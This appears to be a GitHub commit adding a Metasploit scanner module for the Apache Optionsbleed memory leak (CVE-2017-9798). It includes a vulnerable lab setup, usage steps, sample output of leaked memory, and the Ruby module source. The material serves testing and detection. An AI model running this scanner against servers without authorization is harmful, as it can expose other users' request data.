Skip to content

Commit ab63cae

Browse files
committed
Land rapid7#9009, Apache Optionsbleed module
2 parents 57afc3b + 7fc9be8 commit ab63cae

File tree

2 files changed

+236
-0
lines changed

2 files changed

+236
-0
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
## Description
2+
3+
This module scans for the Apache optionsbleed vulnerability where the Allow response header
4+
returned from an OPTIONS request may bleed memory if the server has a .htaccess file
5+
with an invalid Limit method defined.
6+
7+
### Vulnerable Application Setup
8+
9+
This setup is slightly more complex than a default instance, but potentially gives more interesting results. It is more or less based on a
10+
blog post by [securitysift.com](https://www.securitysift.com/testing-optionsbleed/).
11+
12+
This setup was performed on an Ubuntu 16.04 server with apache 2.4.18-2ubuntu3.1.
13+
Apache was patched in [2.4.18-2ubuntu3.5](https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9798.html)
14+
15+
1. First thing we'll do is create 2 virtual host directories with content
16+
17+
```
18+
sudo mkdir -p /var/www/html/s1
19+
sudo mkdir -p /var/www/html/s2
20+
21+
echo "<Limit method0 method1 method2 method3 method4 method5>
22+
Allow from all
23+
</Limit>" | sudo tee /var/www/html/s1/.htaccess
24+
25+
echo "
26+
<html>
27+
<h1>Attacker</h1>
28+
</html>
29+
" | sudo tee /var/www/html/s1/index.html
30+
31+
echo "
32+
<?php
33+
\$user = \$_POST[\"username\"];
34+
\$pwd = \$_POST[\"password\"];
35+
\$otherdata = \$_POST[\"otherdata\"];
36+
?>
37+
<form action=\"index.php\" method=\"POST\">
38+
Otherdata: <input type=\"text\" name=\"otherdata\"><br>
39+
Username: <input type=\"text\" name=\"username\"><br>
40+
Password: <input type=\"text\" name=\"password\"><br>
41+
<input type=\"submit\" value=\"Submit\">
42+
</form>
43+
" | sudo tee /var/www/html/s2/index.php
44+
```
45+
46+
2. Now we'll modify apache to have 2 virtual hosts, an attacker on port 80 and victim on port 81
47+
48+
```
49+
sudo echo "Listen 80
50+
Listen 81
51+
52+
<VirtualHost *:81>
53+
#victim
54+
DocumentRoot /var/www/html/s2
55+
ErrorLog \${APACHE_LOG_DIR}/error_victim.log
56+
CustomLog \${APACHE_LOG_DIR}/access_victim.log combined
57+
</VirtualHost>
58+
<VirtualHost *:80>
59+
#attacker
60+
DocumentRoot /var/www/html/s1
61+
ErrorLog \${APACHE_LOG_DIR}/error_attacker.log
62+
CustomLog \${APACHE_LOG_DIR}/access_attacker.log combined
63+
<Directory /var/www/html/s1>
64+
AllowOverride All
65+
</Directory>
66+
</VirtualHost>
67+
" | sudo tee /etc/apache2/sites-enabled/000-default.conf
68+
```
69+
70+
3. Restart the service
71+
72+
```sudo service apache2 restart```
73+
74+
4. We'll want to generate some traffic to the victim, so we'll use an infinite loop to send fake login requests
75+
76+
```
77+
while true; do curl -d "otherdata=otherdata&username=admin&password=passw0rd" -X POST -s http://[IP]:81/index.php > /dev/null; done
78+
```
79+
80+
Now you have 2 virtual hosts, a vulnerable `.htaccess` file on port 80 in root, and memory being churned to simulate a live host.
81+
82+
## Verification Steps
83+
84+
1. Do: ```use auxiliary/scanner/http/apache_optionsbleed```
85+
2. Do: ```set RHOSTS [IP]```
86+
3. Do: ```set RPORT [PORT]```
87+
4. Do: ```run```
88+
89+
## Scenarios
90+
91+
### Using the setup mentioned previously
92+
93+
```
94+
[*] Processing optionsbleed.rc for ERB directives.
95+
resource (optionsbleed.rc)> use auxiliary/scanner/http/apache_optionsbleed
96+
resource (optionsbleed.rc)> set rhosts 192.168.2.104
97+
rhosts => 192.168.2.104
98+
resource (optionsbleed.rc)> set threads 10
99+
threads => 10
100+
resource (optionsbleed.rc)> run
101+
[+] Request 1: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST
102+
[+] Request 2: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,,HEAD,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,��,�~,HEAD,POST
103+
[+] Request 3: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,8�)�~,HEAD,POST
104+
[+] Request 4: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�4�~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,,HEAD,��)�~,HEAD,POST
105+
[+] Request 5: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,���~,,HEAD,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��)�~,HEAD,POST
106+
[+] Request 6: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,8�)�~,HEAD,��,�~,HEAD,POST
107+
[+] Request 7: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
108+
[+] Request 8: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,�4�~,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
109+
[+] Request 9: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,���~,,HEAD,���~,8�)�~,HEAD,8�)�~,HEAD,,HEAD,8�)�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
110+
[+] Request 10: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
111+
[+] Request 11: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,�4�~,���~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,POST
112+
[+] Request 13: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�T�~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
113+
[+] Request 14: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,��~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,POST
114+
[+] Request 15: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,8�)�~,HEAD,POST
115+
[+] Request 16: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,�4�~,���~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
116+
[+] Request 18: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,�T�~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST
117+
[+] Request 19: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,�T�~,�4�~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,,HEAD,,HEAD,POST
118+
[+] Request 20: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�T�~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST
119+
[+] Request 21: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,�4�~,,HEAD,8�)�~,HEAD,��,�~,HEAD,POST
120+
[+] Request 22: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,���~,�T�~,���~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,POST
121+
[+] Request 23: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,,HEAD,�4�~,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,POST
122+
[+] Request 24: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST
123+
[+] Request 25: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,�T�~,���~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,POST
124+
[+] Request 26: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST
125+
[+] Request 27: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,�4�~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,,HEAD,��,�~,HEAD,��)�~,HEAD,POST
126+
[+] Request 28: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,allow,HEAD,POST
127+
[+] Request 29: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,��~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,��)�~,HEAD,POST
128+
[+] Request 30: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�4�~,8�)�~,HEAD,POST
129+
[+] Request 31: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,���~,�T�~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,POST
130+
[+] Request 32: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,,HEAD,�4�~,8�)�~,HEAD,8�)�~,HEAD,,HEAD,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,POST
131+
[+] Request 33: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,���~,��~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
132+
[+] Request 34: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,�4�~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
133+
[+] Request 35: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,���~,���~,���~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,,HEAD,POST
134+
[+] Request 36: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�4�~,���~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST
135+
[+] Request 38: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,���~,8�)�~,HEAD,8�)�~,HEAD,POST
136+
[+] Request 39: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,���~,��~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,POST
137+
[+] Request 40: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,POST
138+
[*] Scanned 1 of 1 hosts (100% complete)
139+
[*] Auxiliary module execution completed
140+
```
141+
142+
## Cleanup
143+
144+
If the server is NOT vulnerable, the apache error logs will contain an entry similar to this:
145+
146+
```
147+
[Wed Sep 27 19:54:43.183978 2017] [core:alert] [pid 17659] [client 2.2.2.2:43546] /var/www/html/s1/.htaccess: Could not register method 'method0' for <Limit from .htaccess configuration, referer: http://1.1.1.1/
148+
```
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Auxiliary::Scanner
9+
include Msf::Auxiliary::Report
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Apache Optionsbleed Scanner',
14+
'Description' => %q{
15+
This module scans for the Apache optionsbleed vulnerability where the Allow
16+
response header returned from an OPTIONS request may bleed memory if the
17+
server has a .htaccess file with an invalid Limit method defined.
18+
},
19+
'Author' => [
20+
'Hanno Boeck', # Vulnerability discovery
21+
'h00die', # Metasploit module
22+
],
23+
'References' => [
24+
[ 'AKA', 'Optionsbleed' ],
25+
[ 'CVE', '2017-9798' ],
26+
[ 'EDB', '42745' ],
27+
[ 'URL', 'https://github.com/hannob/optionsbleed' ],
28+
[ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]
29+
],
30+
'DisclosureDate' => 'Sep 18 2017',
31+
'License' => MSF_LICENSE
32+
))
33+
34+
register_options([
35+
OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),
36+
OptInt.new('REPEAT', [true, 'Times to attempt', 40]),
37+
OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])
38+
])
39+
end
40+
41+
def get_allow_header(ip)
42+
res = send_request_raw({
43+
'version' => '1.1',
44+
'method' => 'OPTIONS',
45+
'uri' => datastore['TARGETURI']
46+
}, 10)
47+
48+
fail_with(Failure::Unreachable, "#{peer} - Failed to respond") unless res
49+
fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified") unless res.headers['Allow']
50+
res.headers['Allow']
51+
end
52+
53+
def run_host(ip)
54+
# Apache bug 61207 regex
55+
bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/
56+
# Launchpad bug 1717682 regex
57+
bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/
58+
uniques = []
59+
already_reported = false
60+
61+
for counter in 1..datastore['REPEAT']
62+
allows = get_allow_header(ip)
63+
next if uniques.include?(allows) # no need to re-process non-new items
64+
uniques << allows
65+
if allows =~ bug_61207
66+
if allows.split(',').length > allows.split(',').uniq.length # check for repeat items
67+
print_status('Some methods were sent multiple times in the list. ' +
68+
'This is a bug, but harmless. It may be Apache bug #61207.') if datastore['BUGS']
69+
else
70+
vprint_status("Request #{counter}: [Standard Response] -> #{allows}")
71+
end
72+
elsif allows =~ bug_1717682 && datastore['BUGS']
73+
print_status('The list of methods was space-separated instead of comma-separated. ' +
74+
'This is a bug, but harmless. It may be Launchpad bug #1717682.')
75+
else
76+
print_good("Request #{counter}: [OptionsBleed Response] -> #{allows}")
77+
end
78+
next unless already_reported
79+
report_vuln(
80+
:host => ip,
81+
:port => rport,
82+
:name => self.name,
83+
:refs => self.references
84+
)
85+
already_reported = true
86+
end
87+
end
88+
end

0 commit comments

Comments
 (0)